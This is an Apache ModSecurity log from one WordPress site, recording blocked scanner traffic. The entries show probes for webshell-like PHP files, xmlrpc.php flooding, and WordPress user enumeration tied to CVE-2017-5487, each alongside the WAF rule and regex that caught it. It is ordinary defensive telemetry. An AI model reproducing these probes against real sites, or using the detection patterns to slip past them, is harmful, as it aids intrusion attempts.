[Wed Feb 25 18:50:23.758811 2026] [:error] [pid 60387:tid 60474] [client 193.70.44.235:40332] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aZ7T74HL0QH7Sr13X0JU_AAAAoI"]
[Wed Feb 25 18:50:25.768475 2026] [:error] [pid 60387:tid 60480] [client 193.70.44.235:56184] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZ7T8YHL0QH7Sr13X0JVAQAAAog"]
[Wed Feb 25 18:50:27.637500 2026] [:error] [pid 20659:tid 20715] [client 193.70.44.235:56194] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aZ7T8z_THK_HtK-Q44IOgAAAAFQ"]
[Wed Feb 25 18:50:29.642415 2026] [:error] [pid 20763:tid 20774] [client 193.70.44.235:56204] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZ7T9U0w_zc13OX-xiYbtwAAAMk"]
[Wed Feb 25 18:50:31.634375 2026] [:error] [pid 60290:tid 60309] [client 193.70.44.235:56216] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aZ7T9zPwSUztcPyiofqsRAAAARE"]
[Wed Feb 25 18:50:33.650637 2026] [:error] [pid 5556:tid 5599] [client 193.70.44.235:56228] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aZ7T-aOrYeaTyh7lGRUv9wAAAcw"]
[Wed Feb 25 18:50:35.642747 2026] [:error] [pid 60500:tid 60611] [client 193.70.44.235:48964] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aZ7T-_Y9avxuno9KAT9JRQAAA1g"]
[Wed Feb 25 18:50:37.642423 2026] [:error] [pid 60387:tid 60487] [client 193.70.44.235:48972] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aZ7T_YHL0QH7Sr13X0JVFAAAAo8"]
[Wed Feb 25 18:50:39.665530 2026] [:error] [pid 60387:tid 60478] [client 193.70.44.235:48988] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aZ7T_4HL0QH7Sr13X0JVGQAAAoY"]
[Wed Feb 25 18:50:41.664398 2026] [:error] [pid 37809:tid 37829] [client 193.70.44.235:49002] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZ7UASIC419p2bqBCnCKVwAAAJI"]
[Wed Feb 25 18:50:43.679679 2026] [:error] [pid 20658:tid 20686] [client 193.70.44.235:49014] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aZ7UA-u8cohhPfsAIFnxlgAAABM"]
[Wed Feb 25 18:50:45.522456 2026] [:error] [pid 60387:tid 60485] [client 193.70.44.235:36006] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aZ7UBYHL0QH7Sr13X0JVJAAAAo0"]
[Wed Feb 25 18:50:47.536451 2026] [:error] [pid 5556:tid 5589] [client 193.70.44.235:36020] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aZ7UB6OrYeaTyh7lGRUwJAAAAcI"]
[Wed Feb 25 18:50:49.529757 2026] [:error] [pid 60387:tid 60482] [client 193.70.44.235:36036] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aZ7UCYHL0QH7Sr13X0JVKgAAAoo"]
[Wed Feb 25 18:50:51.535403 2026] [:error] [pid 5619:tid 5638] [client 193.70.44.235:36042] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aZ7UC5FUzdv-0L_F4ftAzAAAAgM"]
[Wed Feb 25 18:50:53.542921 2026] [:error] [pid 60498:tid 60522] [client 193.70.44.235:36046] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aZ7UDSFCVhQ3ffus0uIdUQAAAtE"]
[Wed Feb 25 18:50:55.535720 2026] [:error] [pid 20658:tid 20669] [client 193.70.44.235:54902] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aZ7UD-u8cohhPfsAIFnxmwAAAAI"]
[Wed Feb 25 18:50:57.537118 2026] [:error] [pid 60498:tid 60508] [client 193.70.44.235:54906] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aZ7UESFCVhQ3ffus0uIdUwAAAsM"]
[Wed Feb 25 18:50:59.529796 2026] [:error] [pid 20659:tid 20703] [client 193.70.44.235:54908] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aZ7UEz_THK_HtK-Q44IOqgAAAEg"]
[Wed Feb 25 19:43:22.438941 2026] [:error] [pid 60498:tid 60522] [client 34.83.217.82:34962] [client 34.83.217.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.83.217.82, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ7gWiFCVhQ3ffus0uImLwAAAtE"]
[Wed Feb 25 20:40:37.891350 2026] [:error] [pid 5556:tid 5593] [client 34.134.147.179:65136] [client 34.134.147.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.134.147.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ7txaOrYeaTyh7lGRViiAAAAcY"]
[Wed Feb 25 20:40:41.457322 2026] [:error] [pid 5556:tid 5588] [client 34.134.147.179:65136] [client 34.134.147.179] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aZ7tyaOrYeaTyh7lGRVijAAAAcE"]
[Wed Feb 25 20:40:43.035117 2026] [:error] [pid 5556:tid 5605] [client 34.134.147.179:65136] [client 34.134.147.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.134.147.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ7ty6OrYeaTyh7lGRVijwAAAdI"]
[Wed Feb 25 20:40:45.050748 2026] [:error] [pid 20659:tid 20704] [client 34.134.147.179:49991] [client 34.134.147.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.134.147.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ7tzT_THK_HtK-Q44IqSAAAAEk"]
[Wed Feb 25 20:40:47.045050 2026] [:error] [pid 20659:tid 20699] [client 34.134.147.179:55699] [client 34.134.147.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.134.147.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ7tzz_THK_HtK-Q44IqTAAAAEQ"]
[Wed Feb 25 20:40:49.058277 2026] [:error] [pid 5556:tid 5608] [client 34.134.147.179:57251] [client 34.134.147.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.134.147.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ7t0aOrYeaTyh7lGRVimwAAAdU"]
[Wed Feb 25 20:40:50.986908 2026] [:error] [pid 60500:tid 60584] [client 34.134.147.179:63618] [client 34.134.147.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.134.147.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ7t0vY9avxuno9KAT9UMwAAA0M"]
[Wed Feb 25 20:40:50.987065 2026] [:error] [pid 60500:tid 60584] [client 34.134.147.179:63618] [client 34.134.147.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.134.147.179, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ7t0vY9avxuno9KAT9UMwAAA0M"]
[Wed Feb 25 21:05:35.614504 2026] [:error] [pid 20659:tid 20709] [client 43.130.3.120:42558] [client 43.130.3.120] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZ7znz_THK_HtK-Q44IwOwAAAE4"]
[Wed Feb 25 21:31:25.453838 2026] [:error] [pid 20658:tid 20673] [client 87.106.209.183:63024] [client 87.106.209.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/userfuns.php"] [unique_id "aZ75reu8cohhPfsAIFn_uAAAAAY"], referer: www.google.com
[Thu Feb 26 00:27:23.985877 2026] [:error] [pid 49556:tid 49672] [client 45.94.31.242:52714] [client 45.94.31.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/txets.php"] [unique_id "aZ8i65jk27yQt3CGcmhuBQAAANg"]
[Thu Feb 26 00:27:24.756546 2026] [:error] [pid 49556:tid 49638] [client 45.94.31.242:56523] [client 45.94.31.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "aZ8i7Jjk27yQt3CGcmhuBwAAAMI"]
[Thu Feb 26 00:27:25.469549 2026] [:error] [pid 49556:tid 49647] [client 45.94.31.242:64057] [client 45.94.31.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "aZ8i7Zjk27yQt3CGcmhuCgAAAMs"]
[Thu Feb 26 00:27:29.150098 2026] [:error] [pid 49770:tid 49842] [client 45.94.31.242:64083] [client 45.94.31.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/txets.php"] [unique_id "aZ8i8S7xhdZV4TFeNysZkgAAAJA"]
[Thu Feb 26 01:00:10.247524 2026] [:error] [pid 49555:tid 49675] [client 34.61.118.42:49615] [client 34.61.118.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.61.118.42, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ8qmtw3_NsD2xC15YbNJgAAAEw"]
[Thu Feb 26 01:00:14.301786 2026] [:error] [pid 49555:tid 49676] [client 34.61.118.42:49615] [client 34.61.118.42] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aZ8qntw3_NsD2xC15YbNNwAAAE0"]
[Thu Feb 26 01:00:15.885093 2026] [:error] [pid 49555:tid 49679] [client 34.61.118.42:49615] [client 34.61.118.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.61.118.42, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ8qn9w3_NsD2xC15YbNQwAAAFA"]
[Thu Feb 26 01:00:17.961526 2026] [:error] [pid 49556:tid 49667] [client 34.61.118.42:59502] [client 34.61.118.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.61.118.42, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ8qoZjk27yQt3CGcmh6AwAAANY"]
[Thu Feb 26 01:00:19.956891 2026] [:error] [pid 49770:tid 49835] [client 34.61.118.42:62806] [client 34.61.118.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.61.118.42, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ8qoy7xhdZV4TFeNyszXAAAAIk"]
[Thu Feb 26 01:00:21.962544 2026] [:error] [pid 49556:tid 49650] [client 34.61.118.42:63184] [client 34.61.118.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.61.118.42, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ8qpZjk27yQt3CGcmh6BwAAAM0"]
[Thu Feb 26 01:00:23.972759 2026] [:error] [pid 49554:tid 49622] [client 34.61.118.42:55390] [client 34.61.118.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.61.118.42, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ8qp9tlDT3cCGsQMTcpawAAAA0"]
[Thu Feb 26 01:00:23.972896 2026] [:error] [pid 49554:tid 49622] [client 34.61.118.42:55390] [client 34.61.118.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.61.118.42, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ8qp9tlDT3cCGsQMTcpawAAAA0"]
[Thu Feb 26 01:04:32.902963 2026] [:error] [pid 49554:tid 49620] [client 35.223.214.184:61229] [client 35.223.214.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.223.214.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ8roNtlDT3cCGsQMTcq5wAAAAs"]
[Thu Feb 26 01:04:36.506112 2026] [:error] [pid 49554:tid 49613] [client 35.223.214.184:61229] [client 35.223.214.184] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aZ8rpNtlDT3cCGsQMTcq7wAAAAQ"]
[Thu Feb 26 01:04:37.991004 2026] [:error] [pid 49554:tid 49622] [client 35.223.214.184:61229] [client 35.223.214.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.223.214.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ8rpdtlDT3cCGsQMTcq8gAAAA0"]
[Thu Feb 26 01:04:39.984776 2026] [:error] [pid 49770:tid 49828] [client 35.223.214.184:51670] [client 35.223.214.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.223.214.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ8rpy7xhdZV4TFeNys3cwAAAII"]
[Thu Feb 26 01:04:42.039560 2026] [:error] [pid 49770:tid 49849] [client 35.223.214.184:53107] [client 35.223.214.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.223.214.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ8rqi7xhdZV4TFeNys3eQAAAJc"]
[Thu Feb 26 01:04:44.079632 2026] [:error] [pid 49555:tid 49679] [client 35.223.214.184:62846] [client 35.223.214.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.223.214.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ8rrNw3_NsD2xC15YbQIwAAAFA"]
[Thu Feb 26 01:04:46.038633 2026] [:error] [pid 49770:tid 49834] [client 35.223.214.184:59509] [client 35.223.214.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.223.214.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ8rri7xhdZV4TFeNys3hQAAAIg"]
[Thu Feb 26 01:04:46.038802 2026] [:error] [pid 49770:tid 49834] [client 35.223.214.184:59509] [client 35.223.214.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.223.214.184, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ8rri7xhdZV4TFeNys3hQAAAIg"]
[Thu Feb 26 01:49:41.897066 2026] [:error] [pid 49555:tid 49680] [client 43.132.214.228:49848] [client 43.132.214.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZ82Ndw3_NsD2xC15YbpBwAAAFE"]
[Thu Feb 26 02:00:40.371372 2026] [:error] [pid 49555:tid 49679] [client 20.220.213.31:39815] [client 20.220.213.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/vpw.php"] [unique_id "aZ84yNw3_NsD2xC15YbuCgAAAFA"]
[Thu Feb 26 02:01:02.028166 2026] [:error] [pid 49555:tid 49680] [client 20.220.213.31:39907] [client 20.220.213.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vpw.php"] [unique_id "aZ843tw3_NsD2xC15YbuMQAAAFE"]
[Thu Feb 26 02:02:15.372359 2026] [:error] [pid 49555:tid 49670] [client 20.220.213.31:39928] [client 20.220.213.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/muzu.php"] [unique_id "aZ85J9w3_NsD2xC15Ybu8gAAAEk"]
